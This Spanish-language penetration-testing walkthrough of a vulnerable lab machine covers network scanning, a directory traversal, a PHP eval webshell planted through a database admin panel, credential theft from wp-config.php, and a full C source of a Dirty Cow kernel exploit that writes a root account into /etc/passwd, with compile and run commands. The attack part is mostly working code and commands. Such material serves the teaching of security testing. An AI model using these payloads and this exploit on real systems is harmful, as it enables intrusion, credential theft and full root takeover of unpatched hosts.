Escalación de privilegios mediante vulnerabilidad Dirty Cow en auditoría de seguridad web

Auditoría completa de seguridad web - Caso práctico

Objetivo del ejercicio

El propósito de esta práctica es comprender la metodología empleada por profesionales de seguridad para identificar y explotar vulnerabilidades en aplicaciones web, logrando obtener acceso privilegiado al sistema subyacente. #### Entorno de pruebas

Para desarrollar este ejercicio se requieren los siguientes componentes:

  • Máquina objetivo configurada como靶场 (sistema vulnerable)
  • Sistema operativo Kali Linux en máquina virtual
  • Conectividad en la misma red local

Desarrollo del procedimiento

Reconocimiento inicial y descubrimiento de superficie de ataque

Una vez configurado el entorno, el primer paso consiste en identificar la dirección IP de la máquina objetivo. Es fundamental que ambos sistemas compartan el mismo segmento de red y configuración de adaptador.

arp-scan -l

El escaneo revela la IP 192.168.195.166. Seguidamente, se analizan los servicios expuestos en dicha dirección:

nmap -Pn 192.168.195.166

El resultado indica que el puerto 80 se encuentra activo, sugiriendo la presencia de un servidor web.

Exploración de directorios

Al acceder al servidor web, se procede a examinar todas las funcionalidades disponibles. Se identifica un caso de directory traversal que permite acceso no autorizado a rutas del sistema de archivos.

Para profundizar en la estructura del servidor, se ejecuta un escaneo de directorios:

dirsearch -u 192.168.195.166

Este análisis descubre un panel de administración de base de datos en la ruta /dbadmin.

Explotación de vulnerabilities y establecimiento de acceso

El panel de gestión de base de datos permite la creación de archivos PHP. Esta funcionalidad, combinada con la vulnerabilidad de directory traversal previamente identificada, posibilita la inyección de código malicioso.

Se crea un primer archivo PHP de prueba para verificar la ejecución de código en el servidor. Accedienod a través de la vulnerabilidad de traversal, se confirma que el servidor interpreta correctamente el código PHP.

A continuación, se genera un segundo archivo PHP contendo un shell inverso:

<?php @eval($_POST["cmd"]);?>

Este payload permite la ejecución remota de comandos a través de solicitudes HTTP POST.

Utilizando el cliente webshell (AntSword), se establece conexión con el servidor comprometido. A través del sistema de archivos, se localizan credenciales en el archivo de configuración de WordPress ubicado en /home/zico/wordpress/wp-config.php.

Escalación de privilegios mediente Dirty Cow

Observando los servicios disponibles, se detecta que SSH está activo. Las credenciales obtenidas permiten autenticarse exitosamente:

ssh usuario@192.168.195.166

Una vez dentro, se verifica la versión del kernel:

uname -a

La versión del kernel permite la explotación mediante Dirty Cow (CVE-2016-5195), vulnerabilidad que afecta a versiones superiores a 2.6.22 (lanzadas entre 2007 y octubre de 2016).

El exploit utilizado se basa en el método "pokemon" de dirtycow, automatizando la generación de una nueva entrada en el archivo de contraseñas del sistema.

Código del exploit modificado:

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *ruta_passwd = "/etc/passwd";
const char *respaldo = "/tmp/backup_passwd";
const char *sal_crypto = "h4ck3r";

int descriptor_archivo;
void *mapeo_memoria;
pid_t proceso_hijo;
pthread_t hilo_explotacion;
struct stat estado_archivo;

struct Credencial {
   char *nombre_usuario;
   char *hash_contrasena;
   int uid;
   int gid;
   char *info;
   char *directorio_home;
   char *shell;
};

char *generar_hash(char *password) {
  return crypt(password, sal_crypto);
}

char *construir_linea(struct Credencial c) {
  const char *formato = "%s:%s:%d:%d:%s:%s:%s\n";
  int longitud = snprintf(NULL, 0, formato, c.nombre_usuario, c.hash_contrasena,
    c.uid, c.gid, c.info, c.directorio_home, c.shell);
  char *resultado = malloc(longitud + 1);
  sprintf(resultado, formato, c.nombre_usuario, c.hash_contrasena, c.uid,
    c.gid, c.info, c.directorio_home, c.shell);
  return resultado;
}

void *hilo_madvise(void *argumento) {
  int iteraciones, contador = 0;
  for(iteraciones = 0; iteraciones < 200000000; iteraciones++) {
    contador += madvise(mapeo_memoria, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", contador);
}

int clonar_archivo(const char *origen, const char *destino) {
  if(access(destino, F_OK) != -1) {
    printf("El archivo %s ya existe. Elimínelo y ejecute de nuevo\n", destino);
    return -1;
  }

  char caracter;
  FILE *fuente, *dest;

  fuente = fopen(origen, "r");
  if(fuente == NULL) {
    return -1;
  }
  dest = fopen(destino, "w");
  if(dest == NULL) {
     fclose(fuente);
     return -1;
  }

  while((caracter = fgetc(fuente)) != EOF) {
     fputc(caracter, dest);
   }

  printf("%s respaldado exitosamente en %s\n", origen, destino);

  fclose(fuente);
  fclose(dest);

  return 0;
}

int main(int argc, char *argv[])
{
  int resultado = clonar_archivo(ruta_passwd, respaldo);
  if (resultado != 0) {
    exit(resultado);
  }

  struct Credencial usuario;
  usuario.nombre_usuario = "rootaccess";
  usuario.uid = 0;
  usuario.gid = 0;
  usuario.info = "compromised";
  usuario.directorio_home = "/root";
  usuario.shell = "/bin/bash";

  char *password_texto;

  if (argc >= 2) {
    password_texto = argv[1];
    printf("Nueva contrasena: %s\n", password_texto);
  } else {
    password_texto = getpass("Ingrese nueva contrasena: ");
  }

  usuario.hash_contrasena = generar_hash(password_texto);
  char *linea_completa = construir_linea(usuario);
  printf("Linea generada:\n%s\n", linea_completa);

  descriptor_archivo = open(ruta_passwd, O_RDONLY);
  fstat(descriptor_archivo, &estado_archivo);
  mapeo_memoria = mmap(NULL,
             estado_archivo.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             descriptor_archivo,
             0);
  printf("mmap: %lx\n",(unsigned long)mapeo_memoria);
  proceso_hijo = fork();
  if(proceso_hijo) {
    waitpid(proceso_hijo, NULL, 0);
    int i, j, k, total = 0;
    int longitud = strlen(linea_completa);
    for(i = 0; i < 10000/longitud; i++) {
      for(j = 0; j < longitud; j++) {
        for(k = 0; k < 10000; k++) {
          total += ptrace(PTRACE_POKETEXT,
                      proceso_hijo,
                      mapeo_memoria + j,
                      *((long*)(linea_completa + j)));
        }
      }
    }
    printf("ptrace %d\n",total);
  }
  else {
    pthread_create(&hilo_explotacion,
                   NULL,
                   hilo_madvise,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(hilo_explotacion,NULL);
  }

  printf("Finalizado! Verifique %s para confirmar nuevo usuario.\n", ruta_passwd);
  printf("Puede autenticarse con usuario '%s' y contrasena '%s'.\n\n",
    usuario.nombre_usuario, password_texto);
    printf("\nRECUERDE RESTAURAR! $ mv %s %s\n",
    respaldo, ruta_passwd);
  return 0;
}

Compilación y ejecución:

gcc -pthread exploit.c -o exploit -lcrypt
./exploit nuevacontrasena

Tras la ejecución exitosa, se dispone de acceso como usuario privilegiado.

Análisis metodológico

El flujo de ataque seguido en esta auditoría sigue la secuencia estándar:

  1. Enumeración de red e identificación de objetivos
  2. Escaneo de servicios y directorios
  3. Identificación y explotación de vulnerabilidades
  4. Establecimiento de acceso inicial mediante webshell
  5. Elevación de privilegios mediante explotación de kernel

Conclusiones

Esta práctica demuestra la importancia de mantener Actualizados los sistemas, particularmente en lo referente a parches de kernel. La vulnerabilidad Dirty Cow, aunque documentada desde 2016, continúa siendo efectiva contra sistemas no parcheados. Además, se evidencia la necesidad de proteger interfaces de administración y validar correctamente las entradas de usuario para prevenir inyección de código.

Etiquetas: penetration-testing dirty-cow privilege-escalation linux-kernel Web-Security

Publicado el 6-30 16:19